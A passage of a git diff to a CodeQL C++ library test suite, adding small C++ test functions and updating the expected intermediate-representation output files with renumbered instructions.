ReturnValue : r6_12, m6_11 +# 1005| v6_14(void) = UnmodeledUse : mu* +# 1005| v6_15(void) = ExitFunction : + +# 1021| UnreachableViaGoto() -> int +# 1021| Block 0 +# 1021| v0_0(void) = EnterFunction : +# 1021| m0_1(unknown) = AliasedDefinition : +# 1021| mu0_2(unknown) = UnmodeledDefinition : +# 1022| v0_3(void) = NoOp : +# 1024| v0_4(void) = NoOp : +# 1025| r0_5(glval) = VariableAddress[#return] : +# 1025| r0_6(int) = Constant[0] : +# 1025| m0_7(int) = Store : r0_5, r0_6 +# 1021| r0_8(glval) = VariableAddress[#return] : +# 1021| v0_9(void) = ReturnValue : r0_8, m0_7 +# 1021| v0_10(void) = UnmodeledUse : mu* +# 1021| v0_11(void) = ExitFunction : + +# 1028| UnreachableIf(bool) -> int +# 1028| Block 0 +# 1028| v0_0(void) = EnterFunction : +# 1028| m0_1(unknown) = AliasedDefinition : +# 1028| mu0_2(unknown) = UnmodeledDefinition : +# 1028| r0_3(glval) = VariableAddress[b] : +# 1028| m0_4(bool) = InitializeParameter[b] : r0_3 +# 1029| r0_5(glval) = VariableAddress[x] : +# 1029| r0_6(int) = Constant[5] : +# 1029| m0_7(int) = Store : r0_5, r0_6 +# 1030| r0_8(glval) = VariableAddress[y] : +# 1030| r0_9(int) = Constant[10] : +# 1030| m0_10(int) = Store : r0_8, r0_9 +# 1031| r0_11(glval) = VariableAddress[b] : +# 1031| r0_12(bool) = Load : r0_11, m0_4 +# 1031| v0_13(void) = ConditionalBranch : r0_12 +#-----| False -> Block 4 +#-----| True -> Block 2 + +# 1028| Block 1 +# 1028| m1_0(int) = Phi : from 3:m3_2, from 5:m5_2 +# 1028| r1_1(glval) = VariableAddress[#return] : +# 1028| v1_2(void) = ReturnValue : r1_1, m1_0 +# 1028| v1_3(void) = UnmodeledUse : mu* +# 1028| v1_4(void) = ExitFunction : + +# 1032| Block 2 +# 1032| r2_0(glval) = VariableAddress[x] : +# 1032| r2_1(int) = Load : r2_0, m0_7 +# 1032| r2_2(glval) = VariableAddress[y] : +# 1032| r2_3(int) = Load : r2_2, m0_10 +# 1032| r2_4(bool) = CompareEQ : r2_1, r2_3 +# 1032| v2_5(void) = ConditionalBranch : r2_4 +#-----| False -> Block 3 +#-----| True -> Block 6 + +# 1036| Block 3 +# 1036| r3_0(glval) = VariableAddress[#return] : +# 1036| r3_1(int) = Constant[0] : +# 1036| m3_2(int) = Store : r3_0, r3_1 +#-----| Goto -> Block 1 + +# 1040| Block 4 +# 1040| r4_0(glval) = VariableAddress[x] : +# 1040| r4_1(int) = Load : r4_0, m0_7 +# 1040| r4_2(glval) = VariableAddress[y] : +# 1040| r4_3(int) = Load : r4_2, m0_10 +# 1040| r4_4(bool) = CompareLT : r4_1, r4_3 +# 1040| v4_5(void) = ConditionalBranch : r4_4 +#-----| False -> Block 6 +#-----| True -> Block 5 + +# 1041| Block 5 +# 1041| r5_0(glval) = VariableAddress[#return] : +# 1041| r5_1(int) = Constant[0] : +# 1041| m5_2(int) = Store : r5_0, r5_1 +#-----| Goto -> Block 1 + +# 1028| Block 6 +# 1028| v6_0(void) = Unreached : + +# 1049| DoWhileFalse() -> int +# 1049| Block 0 +# 1049| v0_0(void) = EnterFunction : +# 1049| m0_1(unknown) = AliasedDefinition : +# 1049| mu0_2(unknown) = UnmodeledDefinition : +# 1050| r0_3(glval) = VariableAddress[i] : +# 1050| r0_4(int) = Constant[0] : +# 1050| m0_5(int) = Store : r0_3, r0_4 +# 1052| r0_6(glval) = VariableAddress[i] : +# 1052| r0_7(int) = Load : r0_6, m0_5 +# 1052| r0_8(int) = Constant[1] : +# 1052| r0_9(int) = Add : r0_7, r0_8 +# 1052| m0_10(int) = Store : r0_6, r0_9 +# 1053| r0_11(bool) = Constant[0] : +# 1053| v0_12(void) = ConditionalBranch : r0_11 +#-----| False -> Block 1 +#-----| True -> Block 2 + +# 1055| Block 1 +# 1055| r1_0(glval) = VariableAddress[#return] : +# 1055| r1_1(glval) = VariableAddress[i] : +# 1055| r1_2(int) = Load : r1_1, m0_10 +# 1055| m1_3(int) = Store : r1_0, r1_2 +# 1049| r1_4(glval) = VariableAddress[#return] : +# 1049| v1_5(void) = ReturnValue : r1_4, m1_3 +# 1049| v1_6(void) = UnmodeledUse : mu* +# 1049| v1_7(void) = ExitFunction : + +# 1049| Block 2 +# 1049| v2_0(void) = Unreached : diff --git a/cpp/ql/test/library-tests/ir/ir/ir.cpp b/cpp/ql/test/library-tests/ir/ir/ir.cpp index 95486aa55e1..7872a58ee6f 100644 --- a/cpp/ql/test/library-tests/ir/ir/ir.cpp +++ b/cpp/ql/test/library-tests/ir/ir/ir.cpp @@ -1002,4 +1002,57 @@ void OperatorDeleteArray() { } #endif +int ChiPhiNode(Point *p, bool which1, bool which2) { + if (which1) { + p->x++; + } else { + p->y++; + } + + if (which2) { + p->x++; + } else { + p->y++; + } + + return p->x + p->y; +} + +int UnreachableViaGoto() { + goto skip; + return 1; +skip: + return 0; +} + +int UnreachableIf(bool b) { + int x = 5; + int y = 10; + if (b) { + if (x == y) { + return 1; + } + else { + return 0; + } + } + else { + if (x < y) { + return 0; + } + else { + return 1; + } + } +} + +int DoWhileFalse() { + int i = 0; + do { + i++; + } while (false); + + return i; +} + // semmle-extractor-options: -std=c++17 diff --git a/cpp/ql/test/library-tests/ir/ir/raw_ir.expected b/cpp/ql/test/library-tests/ir/ir/raw_ir.expected index 15f3f0867ac..b7e4d6928a8 100644 --- a/cpp/ql/test/library-tests/ir/ir/raw_ir.expected +++ b/cpp/ql/test/library-tests/ir/ir/raw_ir.expected @@ -2,1047 +2,1069 @@ bad_asts.cpp: # 14| Bad::CallBadMemberFunction() -> void # 14| Block 0 # 14| v0_0(void) = EnterFunction : -# 14| mu0_1(unknown) = UnmodeledDefinition : -# 15| r0_2(glval) = VariableAddress[s] : -# 15| mu0_3(S) = Uninitialized : r0_2 -# 15| r0_4(glval) = FieldAddress[x] : r0_2 -# 15| r0_5(int) = Constant[0] : -# 15| mu0_6(int) = Store : r0_4, r0_5 -# 16| r0_7(glval) = VariableAddress[s] : -# 16| r0_8(glval) = FunctionAddress[MemberFunction] : -# 16| r0_9(int) = Constant[1] : -# 16| r0_10(int) = Call : r0_8, this:r0_7, r0_9 -# 17| v0_11(void) = NoOp : -# 14| v0_12(void) = ReturnVoid : -# 14| v0_13(void) = UnmodeledUse : mu* -# 14| v0_14(void) = ExitFunction : +# 14| mu0_1(unknown) = AliasedDefinition : +# 14| mu0_2(unknown) = UnmodeledDefinition : +# 15| r0_3(glval) = VariableAddress[s] : +# 15| mu0_4(S) = Uninitialized[s] : r0_3 +# 15| r0_5(glval) = FieldAddress[x] : r0_3 +# 15| r0_6(int) = Constant[0] : +# 15| mu0_7(int) = Store : r0_5, r0_6 +# 16| r0_8(glval) = VariableAddress[s] : +# 16| r0_9(glval) = FunctionAddress[MemberFunction] : +# 16| r0_10(int) = Constant[1] : +# 16| r0_11(int) = Call : r0_9, this:r0_8, r0_10 +# 16| mu0_12(unknown) = ^CallSideEffect : mu0_2 +# 17| v0_13(void) = NoOp : +# 14| v0_14(void) = ReturnVoid : +# 14| v0_15(void) = UnmodeledUse : mu* +# 14| v0_16(void) = ExitFunction : # 22| Bad::Point::Point() -> void # 22| Block 0 # 22| v0_0(void) = EnterFunction : -# 22| mu0_1(unknown) = UnmodeledDefinition : -# 22| r0_2(glval) = InitializeThis : -# 23| v0_3(void) = NoOp : -# 22| v0_4(void) = ReturnVoid : -# 22| v0_5(void) = UnmodeledUse : mu* -# 22| v0_6(void) = ExitFunction : +# 22| mu0_1(unknown) = AliasedDefinition : +# 22| mu0_2(unknown) = UnmodeledDefinition : +# 22| r0_3(glval) = InitializeThis : +# 23| v0_4(void) = NoOp : +# 22| v0_5(void) = ReturnVoid : +# 22| v0_6(void) = UnmodeledUse : mu* +# 22| v0_7(void) = ExitFunction : # 26| Bad::CallCopyConstructor(const Point &) -> void # 26| Block 0 # 26| v0_0(void) = EnterFunction : -# 26| mu0_1(unknown) = UnmodeledDefinition : -# 26| r0_2(glval) = VariableAddress[a] : -# 26| mu0_3(Point &) = InitializeParameter[a] : r0_2 -# 27| r0_4(glval) = VariableAddress[b] : -# 27| r0_5(glval) = VariableAddress[a] : -# 27| r0_6(Point &) = Load : r0_5, mu0_1 -# 27| r0_7(glval) = Convert : r0_6 -# 27| r0_8(Point) = Load : r0_7, mu0_1 -# 27| mu0_9(Point) = Store : r0_4, r0_8 -# 28| v0_10(void) = NoOp : -# 26| v0_11(void) = ReturnVoid : -# 26| v0_12(void) = UnmodeledUse : mu* -# 26| v0_13(void) = ExitFunction : +# 26| mu0_1(unknown) = AliasedDefinition : +# 26| mu0_2(unknown) = UnmodeledDefinition : +# 26| r0_3(glval) = VariableAddress[a] : +# 26| mu0_4(Point &) = InitializeParameter[a] : r0_3 +# 27| r0_5(glval) = VariableAddress[b] : +# 27| r0_6(glval) = VariableAddress[a] : +# 27| r0_7(Point &) = Load : r0_6, mu0_2 +# 27| r0_8(glval) = Convert : r0_7 +# 27| r0_9(Point) = Load : r0_8, mu0_2 +# 27| mu0_10(Point) = Store : r0_5, r0_9 +# 28| v0_11(void) = NoOp : +# 26| v0_12(void) = ReturnVoid : +# 26| v0_13(void) = UnmodeledUse : mu* +# 26| v0_14(void) = ExitFunction : ir.cpp: # 1| Constants() -> void # 1| Block 0 # 1| v0_0(void) = EnterFunction : -# 1| mu0_1(unknown) = UnmodeledDefinition : -# 2| r0_2(glval) = VariableAddress[c_i] : -# 2| r0_3(char) = Constant[1] : -# 2| mu0_4(char) = Store : r0_2, r0_3 -# 3| r0_5(glval) = VariableAddress[c_c] : -# 3| r0_6(char) = Constant[65] : -# 3| mu0_7(char) = Store : r0_5, r0_6 -# 5| r0_8(glval) = VariableAddress[sc_i] : -# 5| r0_9(signed char) = Constant[-1] : -# 5| mu0_10(signed char) = Store : r0_8, r0_9 -# 6| r0_11(glval) = VariableAddress[sc_c] : -# 6| r0_12(signed char) = Constant[65] : -# 6| mu0_13(signed char) = Store : r0_11, r0_12 -# 8| r0_14(glval) = VariableAddress[uc_i] : -# 8| r0_15(unsigned char) = Constant[5] : -# 8| mu0_16(unsigned char) = Store : r0_14, r0_15 -# 9| r0_17(glval) = VariableAddress[uc_c] : -# 9| r0_18(unsigned char) = Constant[65] : -# 9| mu0_19(unsigned char) = Store : r0_17, r0_18 -# 11| r0_20(glval) = VariableAddress[s] : -# 11| r0_21(short) = Constant[5] : -# 11| mu0_22(short) = Store : r0_20, r0_21 -# 12| r0_23(glval) = VariableAddress[us] : -# 12| r0_24(unsigned short) = Constant[5] : -# 12| mu0_25(unsigned short) = Store : r0_23, r0_24 -# 14| r0_26(glval) = VariableAddress[i] : -# 14| r0_27(int) = Constant[5] : -# 14| mu0_28(int) = Store : r0_26, r0_27 -# 15| r0_29(glval) = VariableAddress[ui] : -# 15| r0_30(unsigned int) = Constant[5] : -# 15| mu0_31(unsigned int) = Store : r0_29, r0_30 -# 17| r0_32(glval) = VariableAddress[l] : -# 17| r0_33(long) = Constant[5] : -# 17| mu0_34(long) = Store : r0_32, r0_33 -# 18| r0_35(glval) = VariableAddress[ul] : -# 18| r0_36(unsigned long) = Constant[5] : -# 18| mu0_37(unsigned long) = Store : r0_35, r0_36 -# 20| r0_38(glval) = VariableAddress[ll_i] : -# 20| r0_39(long long) = Constant[5] : -# 20| mu0_40(long long) = Store : r0_38, r0_39 -# 21| r0_41(glval) = VariableAddress[ll_ll] : -# 21| r0_42(long long) = Constant[5] : -# 21| mu0_43(long long) = Store : r0_41, r0_42 -# 22| r0_44(glval) = VariableAddress[ull_i] : -# 22| r0_45(unsigned long long) = Constant[5] : -# 22| mu0_46(unsigned long long) = Store : r0_44, r0_45 -# 23| r0_47(glval) = VariableAddress[ull_ull] : -# 23| r0_48(unsigned long long) = Constant[5] : -# 23| mu0_49(unsigned long long) = Store : r0_47, r0_48 -# 25| r0_50(glval) = VariableAddress[b_t] : -# 25| r0_51(bool) = Constant[1] : -# 25| mu0_52(bool) = Store : r0_50, r0_51 -# 26| r0_53(glval) = VariableAddress[b_f] : -# 26| r0_54(bool) = Constant[0] : -# 26| mu0_55(bool) = Store : r0_53, r0_54 -# 28| r0_56(glval) = VariableAddress[wc_i] : -# 28| r0_57(wchar_t) = Constant[5] : -# 28| mu0_58(wchar_t) = Store : r0_56, r0_57 -# 29| r0_59(glval) = VariableAddress[wc_c] : -# 29| r0_60(wchar_t) = Constant[65] : -# 29| mu0_61(wchar_t) = Store : r0_59, r0_60 -# 31| r0_62(glval) = VariableAddress[c16] : -# 31| r0_63(char16_t) = Constant[65] : -# 31| mu0_64(char16_t) = Store : r0_62, r0_63 -# 32| r0_65(glval) = VariableAddress[c32] : -# 32| r0_66(char32_t) = Constant[65] : -# 32| mu0_67(char32_t) = Store : r0_65, r0_66 -# 34| r0_68(glval) = VariableAddress[f_i] : -# 34| r0_69(float) = Constant[1.0] : -# 34| mu0_70(float) = Store : r0_68, r0_69 -# 35| r0_71(glval) = VariableAddress[f_f] : -# 35| r0_72(float) = Constant[1.0] : -# 35| mu0_73(float) = Store : r0_71, r0_72 -# 36| r0_74(glval) = VariableAddress[f_d] : -# 36| r0_75(float) = Constant[1.0] : -# 36| mu0_76(float) = Store : r0_74, r0_75 -# 38| r0_77(glval) = VariableAddress[d_i] : -# 38| r0_78(double) = Constant[1.0] : -# 38| mu0_79(double) = Store : r0_77, r0_78 -# 39| r0_80(glval) = VariableAddress[d_f] : -# 39| r0_81(double) = Constant[1.0] : -# 39| mu0_82(double) = Store : r0_80, r0_81 -# 40| r0_83(glval) = VariableAddress[d_d] : -# 40| r0_84(double) = Constant[1.0] : -# 40| mu0_85(double) = Store : r0_83, r0_84 -# 41| v0_86(void) = NoOp : -# 1| v0_87(void) = ReturnVoid : -# 1| v0_88(void) = UnmodeledUse : mu* -# 1| v0_89(void) = ExitFunction : +# 1| mu0_1(unknown) = AliasedDefinition : +# 1| mu0_2(unknown) = UnmodeledDefinition : +# 2| r0_3(glval) = VariableAddress[c_i] : +# 2| r0_4(char) = Constant[1] : +# 2| mu0_5(char) = Store : r0_3, r0_4 +# 3| r0_6(glval) = VariableAddress[c_c] : +# 3| r0_7(char) = Constant[65] : +# 3| mu0_8(char) = Store : r0_6, r0_7 +# 5| r0_9(glval) = VariableAddress[sc_i] : +# 5| r0_10(signed char) = Constant[-1] : +# 5| mu0_11(signed char) = Store : r0_9, r0_10 +# 6| r0_12(glval) = VariableAddress[sc_c] : +# 6| r0_13(signed char) = Constant[65] : +# 6| mu0_14(signed char) = Store : r0_12, r0_13 +# 8| r0_15(glval) = VariableAddress[uc_i] : +# 8| r0_16(unsigned char) = Constant[5] : +# 8| mu0_17(unsigned char) = Store : r0_15, r0_16 +# 9| r0_18(glval) = VariableAddress[uc_c] : +# 9| r0_19(unsigned char) = Constant[65] : +# 9| mu0_20(unsigned char) = Store : r0_18, r0_19 +# 11| r0_21(glval) = VariableAddress[s] : +# 11| r0_22(short) = Constant[5] : +# 11| mu0_23(short) = Store : r0_21, r0_22 +# 12| r0_24(glval) = VariableAddress[us] : +# 12| r0_25(unsigned short) = Constant[5] : +# 12| mu0_26(unsigned short) = Store : r0_24, r0_25 +# 14| r0_27(glval) = VariableAddress[i] : +# 14| r0_28(int) = Constant[5] : +# 14| mu0_29(int) = Store : r0_27, r0_28 +# 15| r0_30(glval) = VariableAddress[ui] : +# 15| r0_31(unsigned int) = Constant[5] : +# 15| mu0_32(unsigned int) = Store : r0_30, r0_31 +# 17| r0_33(glval) = VariableAddress[l] : +# 17| r0_34(long) = Constant[5] : +# 17| mu0_35(long) = Store : r0_33, r0_34 +# 18| r0_36(glval) = VariableAddress[ul] : +# 18| r0_37(unsigned long) = Constant[5] : +# 18| mu0_38(unsigned long) = Store : r0_36, r0_37 +# 20| r0_39(glval) = VariableAddress[ll_i] : +# 20| r0_40(long long) = Constant[5] : +# 20| mu0_41(long long) = Store : r0_39, r0_40 +# 21| r0_42(glval) = VariableAddress[ll_ll] : +# 21| r0_43(long long) = Constant[5] : +# 21| mu0_44(long long) = Store : r0_42, r0_43 +# 22| r0_45(glval) = VariableAddress[ull_i] : +# 22| r0_46(unsigned long long) = Constant[5] : +# 22| mu0_47(unsigned long long) = Store : r0_45, r0_46 +# 23| r0_48(glval) = VariableAddress[ull_ull] : +# 23| r0_49(unsigned long long) = Constant[5] : +# 23| mu0_50(unsigned long long) = Store : r0_48, r0_49 +# 25| r0_51(glval) = VariableAddress[b_t] : +# 25| r0_52(bool) = Constant[1] : +# 25| mu0_53(bool) = Store : r0_51, r0_52 +# 26| r0_54(glval) = VariableAddress[b_f] : +# 26| r0_55(bool) = Constant[0] : +# 26| mu0_56(bool) = Store : r0_54, r0_55 +# 28| r0_57(glval) = VariableAddress[wc_i] : +# 28| r0_58(wchar_t) = Constant[5] : +# 28| mu0_59(wchar_t) = Store : r0_57, r0_58 +# 29| r0_60(glval) = VariableAddress[wc_c] : +# 29| r0_61(wchar_t) = Constant[65] : +# 29| mu0_62(wchar_t) = Store : r0_60, r0_61 +# 31| r0_63(glval) = VariableAddress[c16] : +# 31| r0_64(char16_t) = Constant[65] : +# 31| mu0_65(char16_t) = Store : r0_63, r0_64 +# 32| r0_66(glval) = VariableAddress[c32] : +# 32| r0_67(char32_t) = Constant[65] : +# 32| mu0_68(char32_t) = Store : r0_66, r0_67 +# 34| r0_69(glval) = VariableAddress[f_i] : +# 34| r0_70(float) = Constant[1.0] : +# 34| mu0_71(float) = Store : r0_69, r0_70 +# 35| r0_72(glval) = VariableAddress[f_f] : +# 35| r0_73(float) = Constant[1.0] : +# 35| mu0_74(float) = Store : r0_72, r0_73 +# 36| r0_75(glval) = VariableAddress[f_d] : +# 36| r0_76(float) = Constant[1.0] : +# 36| mu0_77(float) = Store : r0_75, r0_76 +# 38| r0_78(glval) = VariableAddress[d_i] : +# 38| r0_79(double) = Constant[1.0] : +# 38| mu0_80(double) = Store : r0_78, r0_79 +# 39| r0_81(glval) = VariableAddress[d_f] : +# 39| r0_82(double) = Constant[1.0] : +# 39| mu0_83(double) = Store : r0_81, r0_82 +# 40| r0_84(glval) = VariableAddress[d_d] : +# 40| r0_85(double) = Constant[1.0] : +# 40| mu0_86(double) = Store : r0_84, r0_85 +# 41| v0_87(void) = NoOp : +# 1| v0_88(void) = ReturnVoid : +# 1| v0_89(void) = UnmodeledUse : mu* +# 1| v0_90(void) = ExitFunction : # 43| Foo() -> void # 43| Block 0 # 43| v0_0(void) = EnterFunction : -# 43| mu0_1(unknown) = UnmodeledDefinition : -# 44| r0_2(glval) = VariableAddress[x] : -# 44| r0_3(int) = Constant[17] : -# 44| mu0_4(int) = Store : r0_2, r0_3 -# 45| r0_5(glval) = VariableAddress[y] : -# 45| r0_6(short) = Constant[7] : -# 45| mu0_7(short) = Store : r0_5, r0_6 -# 46| r0_8(glval) = VariableAddress[x] : -# 46| r0_9(int) = Load : r0_8, mu0_1 -# 46| r0_10(glval) = VariableAddress[y] : -# 46| r0_11(short) = Load : r0_10, mu0_1 -# 46| r0_12(int) = Convert : r0_11 -# 46| r0_13(int) = Add : r0_9, r0_12 -# 46| r0_14(short) = Convert : r0_13 -# 46| r0_15(glval) = VariableAddress[y] : -# 46| mu0_16(short) = Store : r0_15, r0_14 -# 47| r0_17(glval) = VariableAddress[x] : -# 47| r0_18(int) = Load : r0_17, mu0_1 -# 47| r0_19(glval) = VariableAddress[y] : -# 47| r0_20(short) = Load : r0_19, mu0_1 -# 47| r0_21(int) = Convert : r0_20 -# 47| r0_22(int) = Mul : r0_18, r0_21 -# 47| r0_23(glval) = VariableAddress[x] : -# 47| mu0_24(int) = Store : r0_23, r0_22 -# 48| v0_25(void) = NoOp : -# 43| v0_26(void) = ReturnVoid : -# 43| v0_27(void) = UnmodeledUse : mu* -# 43| v0_28(void) = ExitFunction : +# 43| mu0_1(unknown) = AliasedDefinition : +# 43| mu0_2(unknown) = UnmodeledDefinition : +# 44| r0_3(glval) = VariableAddress[x] : +# 44| r0_4(int) = Constant[17] : +# 44| mu0_5(int) = Store : r0_3, r0_4 +# 45| r0_6(glval) = VariableAddress[y] : +# 45| r0_7(short) = Constant[7] : +# 45| mu0_8(short) = Store : r0_6, r0_7 +# 46| r0_9(glval) = VariableAddress[x] : +# 46| r0_10(int) = Load : r0_9, mu0_2 +# 46| r0_11(glval) = VariableAddress[y] : +# 46| r0_12(short) = Load : r0_11, mu0_2 +# 46| r0_13(int) = Convert : r0_12 +# 46| r0_14(int) = Add : r0_10, r0_13 +# 46| r0_15(short) = Convert : r0_14 +# 46| r0_16(glval) = VariableAddress[y] : +# 46| mu0_17(short) = Store : r0_16, r0_15 +# 47| r0_18(glval) = VariableAddress[x] : +# 47| r0_19(int) = Load : r0_18, mu0_2 +# 47| r0_20(glval) = VariableAddress[y] : +# 47| r0_21(short) = Load : r0_20, mu0_2 +# 47| r0_22(int) = Convert : r0_21 +# 47| r0_23(int) = Mul : r0_19, r0_22 +# 47| r0_24(glval) = VariableAddress[x] : +# 47| mu0_25(int) = Store : r0_24, r0_23 +# 48| v0_26(void) = NoOp : +# 43| v0_27(void) = ReturnVoid : +# 43| v0_28(void) = UnmodeledUse : mu* +# 43| v0_29(void) = ExitFunction : # 50| IntegerOps(int, int) -> void # 50| Block 0 # 50| v0_0(void) = EnterFunction : -# 50| mu0_1(unknown) = UnmodeledDefinition : -# 50| r0_2(glval) = VariableAddress[x] : -# 50| mu0_3(int) = InitializeParameter[x] : r0_2 -# 50| r0_4(glval) = VariableAddress[y] : -# 50| mu0_5(int) = InitializeParameter[y] : r0_4 -# 51| r0_6(glval) = VariableAddress[z] : -# 51| mu0_7(int) = Uninitialized : r0_6 -# 53| r0_8(glval) = VariableAddress[x] : -# 53| r0_9(int) = Load : r0_8, mu0_1 -# 53| r0_10(glval) = VariableAddress[y] : -# 53| r0_11(int) = Load : r0_10, mu0_1 -# 53| r0_12(int) = Add : r0_9, r0_11 -# 53| r0_13(glval) = VariableAddress[z] : -# 53| mu0_14(int) = Store : r0_13, r0_12 -# 54| r0_15(glval) = VariableAddress[x] : -# 54| r0_16(int) = Load : r0_15, mu0_1 -# 54| r0_17(glval) = VariableAddress[y] : -# 54| r0_18(int) = Load : r0_17, mu0_1 -# 54| r0_19(int) = Sub : r0_16, r0_18 -# 54| r0_20(glval) = VariableAddress[z] : -# 54| mu0_21(int) = Store : r0_20, r0_19 -# 55| r0_22(glval) = VariableAddress[x] : -# 55| r0_23(int) = Load : r0_22, mu0_1 -# 55| r0_24(glval) = VariableAddress[y] : -# 55| r0_25(int) = Load : r0_24, mu0_1 -# 55| r0_26(int) = Mul : r0_23, r0_25 -# 55| r0_27(glval) = VariableAddress[z] : -# 55| mu0_28(int) = Store : r0_27, r0_26 -# 56| r0_29(glval) = VariableAddress[x] : -# 56| r0_30(int) = Load : r0_29, mu0_1 -# 56| r0_31(glval) = VariableAddress[y] : -# 56| r0_32(int) = Load : r0_31, mu0_1 -# 56| r0_33(int) = Div : r0_30, r0_32 -# 56| r0_34(glval) = VariableAddress[z] : -# 56| mu0_35(int) = Store : r0_34, r0_33 -# 57| r0_36(glval) = VariableAddress[x] : -# 57| r0_37(int) = Load : r0_36, mu0_1 -# 57| r0_38(glval) = VariableAddress[y] : -# 57| r0_39(int) = Load : r0_38, mu0_1 -# 57| r0_40(int) = Rem : r0_37, r0_39 -# 57| r0_41(glval) = VariableAddress[z] : -# 57| mu0_42(int) = Store : r0_41, r0_40 -# 59| r0_43(glval) = VariableAddress[x] : -# 59| r0_44(int) = Load : r0_43, mu0_1 -# 59| r0_45(glval) = VariableAddress[y] : -# 59| r0_46(int) = Load : r0_45, mu0_1 -# 59| r0_47(int) = BitAnd : r0_44, r0_46 -# 59| r0_48(glval) = VariableAddress[z] : -# 59| mu0_49(int) = Store : r0_48, r0_47 -# 60| r0_50(glval) = VariableAddress[x] : -# 60| r0_51(int) = Load : r0_50, mu0_1 -# 60| r0_52(glval) = VariableAddress[y] : -# 60| r0_53(int) = Load : r0_52, mu0_1 -# 60| r0_54(int) = BitOr : r0_51, r0_53 -# 60| r0_55(glval) = VariableAddress[z] : -# 60| mu0_56(int) = Store : r0_55, r0_54 -# 61| r0_57(glval) = VariableAddress[x] : -# 61| r0_58(int) = Load : r0_57, mu0_1 -# 61| r0_59(glval) = VariableAddress[y] : -# 61| r0_60(int) = Load : r0_59, mu0_1 -# 61| r0_61(int) = BitXor : r0_58, r0_60 -# 61| r0_62(glval) = VariableAddress[z] : -# 61| mu0_63(int) = Store : r0_62, r0_61 -# 63| r0_64(glval) = VariableAddress[x] : -# 63| r0_65(int) = Load : r0_64, mu0_1 -# 63| r0_66(glval) = VariableAddress[y] : -# 63| r0_67(int) = Load : r0_66, mu0_1 -# 63| r0_68(int) = ShiftLeft : r0_65, r0_67 -# 63| r0_69(glval) = VariableAddress[z] : -# 63| mu0_70(int) = Store : r0_69, r0_68 -# 64| r0_71(glval) = VariableAddress[x] : -# 64| r0_72(int) = Load : r0_71, mu0_1 -# 64| r0_73(glval) = VariableAddress[y] : -# 64| r0_74(int) = Load : r0_73, mu0_1 -# 64| r0_75(int) = ShiftRight : r0_72, r0_74 -# 64| r0_76(glval) = VariableAddress[z] : -# 64| mu0_77(int) = Store : r0_76, r0_75 -# 66| r0_78(glval) = VariableAddress[x] : -# 66| r0_79(int) = Load : r0_78, mu0_1 -# 66| r0_80(glval) = VariableAddress[z] : -# 66| mu0_81(int) = Store : r0_80, r0_79 -# 68| r0_82(glval) = VariableAddress[x] : -# 68| r0_83(int) = Load : r0_82, mu0_1 -# 68| r0_84(glval) = VariableAddress[z] : -# 68| r0_85(int) = Load : r0_84, mu0_1 -# 68| r0_86(int) = Add : r0_85, r0_83 -# 68| mu0_87(int) = Store : r0_84, r0_86 -# 69| r0_88(glval) = VariableAddress[x] : -# 69| r0_89(int) = Load : r0_88, mu0_1 -# 69| r0_90(glval) = VariableAddress[z] : -# 69| r0_91(int) = Load : r0_90, mu0_1 -# 69| r0_92(int) = Sub : r0_91, r0_89 -# 69| mu0_93(int) = Store : r0_90, r0_92 -# 70| r0_94(glval) = VariableAddress[x] : -# 70| r0_95(int) = Load : r0_94, mu0_1 -# 70| r0_96(glval) = VariableAddress[z] : -# 70| r0_97(int) = Load : r0_96, mu0_1 -# 70| r0_98(int) = Mul : r0_97, r0_95 -# 70| mu0_99(int) = Store : r0_96, r0_98 -# 71| r0_100(glval) = VariableAddress[x] : -# 71| r0_101(int) = Load : r0_100, mu0_1 -# 71| r0_102(glval) = VariableAddress[z] : -# 71| r0_103(int) = Load : r0_102, mu0_1 -# 71| r0_104(int) = Div : r0_103, r0_101 -# 71| mu0_105(int) = Store : r0_102, r0_104 -# 72| r0_106(glval) = VariableAddress[x] : -# 72| r0_107(int) = Load : r0_106, mu0_1 -# 72| r0_108(glval) = VariableAddress[z] : -# 72| r0_109(int) = Load : r0_108, mu0_1 -# 72| r0_110(int) = Rem : r0_109, r0_107 -# 72| mu0_111(int) = Store : r0_108, r0_110 -# 74| r0_112(glval) = VariableAddress[x] : -# 74| r0_113(int) = Load : r0_112, mu0_1 -# 74| r0_114(glval) = VariableAddress[z] : -# 74| r0_115(int) = Load : r0_114, mu0_1 -# 74| r0_116(int) = BitAnd : r0_115, r0_113 -# 74| mu0_117(int) = Store : r0_114, r0_116 -# 75| r0_118(glval) = VariableAddress[x] : -# 75| r0_119(int) = Load : r0_118, mu0_1 -# 75| r0_120(glval) = VariableAddress[z] : -# 75| r0_121(int) = Load : r0_120, mu0_1 -# 75| r0_122(int) = BitOr : r0_121, r0_119 -# 75| mu0_123(int) = Store : r0_120, r0_122 -# 76| r0_124(glval) = VariableAddress[x] : -# 76| r0_125(int) = Load : r0_124, mu0_1 -# 76| r0_126(glval) = VariableAddress[z] : -# 76| r0_127(int) = Load : r0_126, mu0_1 -# 76| r0_128(int) = BitXor : r0_127, r0_125 -# 76| mu0_129(int) = Store : r0_126, r0_128 -# 78| r0_130(glval) = VariableAddress[x] : -# 78| r0_131(int) = Load : r0_130, mu0_1 -# 78| r0_132(glval) = VariableAddress[z] : -# 78| r0_133(int) = Load : r0_132, mu0_1 -# 78| r0_134(int) = ShiftLeft : r0_133, r0_131 -# 78| mu0_135(int) = Store : r0_132, r0_134 -# 79| r0_136(glval) = VariableAddress[x] : -# 79| r0_137(int) = Load : r0_136, mu0_1 -# 79| r0_138(glval) = VariableAddress[z] : -# 79| r0_139(int) = Load : r0_138, mu0_1 -# 79| r0_140(int) = ShiftRight : r0_139, r0_137 -# 79| mu0_141(int) = Store : r0_138, r0_140 -# 81| r0_142(glval) = VariableAddress[x] : -# 81| r0_143(int) = Load : r0_142, mu0_1 -# 81| r0_144(int) = CopyValue : r0_143 -# 81| r0_145(glval) = VariableAddress[z] : -# 81| mu0_146(int) = Store : r0_145, r0_144 -# 82| r0_147(glval) = VariableAddress[x] : -# 82| r0_148(int) = Load : r0_147, mu0_1 -# 82| r0_149(int) = Negate : r0_148 -# 82| r0_150(glval) = VariableAddress[z] : -# 82| mu0_151(int) = Store : r0_150, r0_149 -# 83| r0_152(glval) = VariableAddress[x] : -# 83| r0_153(int) = Load : r0_152, mu0_1 -# 83| r0_154(int) = BitComplement : r0_153 -# 83| r0_155(glval) = VariableAddress[z] : -# 83| mu0_156(int) = Store : r0_155, r0_154 -# 84| r0_157(glval) = VariableAddress[x] : -# 84| r0_158(int) = Load : r0_157, mu0_1 -# 84| r0_159(int) = Constant[0] : -# 84| r0_160(bool) = CompareNE : r0_158, r0_159 -# 84| r0_161(bool) = LogicalNot : r0_160 -# 84| r0_162(int) = Convert : r0_161 -# 84| 